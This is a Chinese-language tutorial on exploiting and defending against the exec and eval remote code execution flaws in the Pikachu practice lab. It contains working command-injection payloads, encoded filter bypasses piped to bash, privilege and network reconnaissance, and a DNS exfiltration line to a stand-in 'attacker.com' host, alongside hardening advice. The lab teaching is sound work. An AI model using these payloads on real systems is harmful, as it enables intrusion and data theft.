1. 项目概述
Pikachu靶场是一个专门用于网络安全学习的漏洞测试平台,其中RCE(远程代码执行)漏洞是最危险也最具实战价值的漏洞类型之一。今天我要分享的是如何在Kali Linux环境下复现和利用Pikachu靶场中的exec和eval类RCE漏洞。
作为一名长期从事渗透测试的安全工程师,我发现很多新手在学习RCE漏洞时最大的困惑不是如何利用,而是不理解背后的原理和防护方法。这篇文章将从实战角度出发,带你深入理解这两种PHP代码执行漏洞的本质区别、利用手法和防御方案。
2. 环境准备与靶场搭建
2.1 Kali Linux基础配置
首先确保你的Kali是最新版本:
sudo apt update && sudo apt upgrade -y安装必要的PHP环境:
sudo apt install apache2 php libapache2-mod-php -y注意:Kali默认已安装Apache和PHP,但建议检查PHP版本是否为7.x以上,老版本可能存在兼容性问题。
2.2 Pikachu靶场部署
下载最新版Pikachu:
wget https://github.com/zhuifengshaonianhanlu/pikachu/archive/master.zip unzip master.zip sudo mv pikachu-master /var/www/html/pikachu配置数据库:
sudo mysql -u root -p CREATE DATABASE pikachu; GRANT ALL ON pikachu.* TO 'pikachu'@'localhost' IDENTIFIED BY 'pikachu'; FLUSH PRIVILEGES;修改配置文件:
// /var/www/html/pikachu/inc/config.inc.php $dbuser='pikachu'; $dbpass='pikachu';3. RCE漏洞原理深度解析
3.1 exec类漏洞
在Pikachu的"RCE->exec"关卡中,关键代码如下:
$ip = $_GET['ip']; system("ping ".$ip);漏洞成因:
- 直接拼接用户输入的
$ip参数到系统命令中 - 未做任何过滤和转义
- 使用危险的
system()函数执行命令
利用方式:
http://localhost/pikachu/vul/rce/exec.php?ip=127.0.0.1;whoami3.2 eval类漏洞
"RCE->eval"关卡的典型代码:
$code = $_GET['code']; eval($code);危险点分析:
eval()直接执行字符串形式的PHP代码- 用户可注入任意PHP代码
- 常用于webshell上传
典型攻击payload:
http://localhost/pikachu/vul/rce/eval.php?code=phpinfo();4. 高级利用技巧
4.1 命令分隔技巧
在exec漏洞中,常用的分隔符:
;- 顺序执行多条命令&&- 前一条成功才执行后一条||- 前一条失败才执行后一条|- 管道符>- 输出重定向
示例:
ip=127.0.0.1;cat /etc/passwd ip=127.0.0.1 && whoami4.2 编码绕过技术
当存在基础过滤时,可以尝试:
- Base64编码:
echo "whoami" | base64 ip=127.0.0.1;echo "d2hvYW1p" | base64 -d | bash - Hex编码:
echo "whoami" | xxd -ps ip=127.0.0.1;printf "77686f616d69" | xxd -ps -r | bash
5. 漏洞防御方案
5.1 exec类防护
- 使用白名单校验:
if(!preg_match('/^[0-9.]+$/', $_GET['ip'])){ die('Invalid IP'); }- 使用安全函数:
escapeshellarg($_GET['ip']);5.2 eval类防护
- 绝对避免使用eval
- 必须使用时进行严格过滤:
$allowed = ['date','time']; if(!in_array($_GET['func'], $allowed)){ die('Forbidden'); } eval($_GET['func'].'();');6. 实战案例与排错
6.1 常见问题排查
问题1:命令执行无回显 解决方案:
- 使用延时判断:
ip=127.0.0.1;sleep 5 - 外带数据到DNS:
ip=127.0.0.1;nslookup $(whoami).attacker.com
问题2:特殊字符被过滤 解决方案:
- 使用变量拼接:
a=who;b=ami;$a$b - 使用反引号:
ip=127.0.0.1;cat /etc/passwd
6.2 渗透测试技巧
- 信息收集:
ip=127.0.0.1;uname -a;cat /etc/issue;id- 权限提升检查:
ip=127.0.0.1;find / -perm -4000 2>/dev/null- 内网探测:
ip=127.0.0.1;arp -a;ifconfig7. 防御加固建议
- PHP.ini安全配置:
disable_functions = exec,system,passthru,shell_exec allow_url_fopen = Off allow_url_include = Off- Web服务器权限:
sudo chown -R www-data:www-data /var/www/html sudo chmod -R 750 /var/www/html- 使用Suhosin扩展:
sudo apt install php-suhosin在实际渗透测试工作中,理解漏洞原理比掌握利用工具更重要。建议读者在Pikachu靶场中多尝试不同的payload组合,观察系统反应,这对培养安全思维很有帮助。